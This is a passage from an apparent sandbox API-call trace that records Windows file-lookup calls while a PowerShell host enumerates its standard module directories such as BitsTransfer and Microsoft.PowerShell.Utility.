cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0131.031] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.031] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0131.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0131.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0131.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0131.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0131.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0131.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0131.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0131.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0131.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0131.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0131.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.032] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0131.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0131.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.032] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0131.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0131.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.033] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0131.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.033] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0131.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0131.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.033] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0131.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0131.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.034] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0131.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0131.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.034] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0131.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0131.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.035] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0131.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0131.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.035] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.036] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0131.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0131.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.036] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0131.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0131.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.037] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0131.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0131.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.037] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0131.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0131.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.037] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0131.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0131.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0131.038] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0131.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0131.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.039] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, 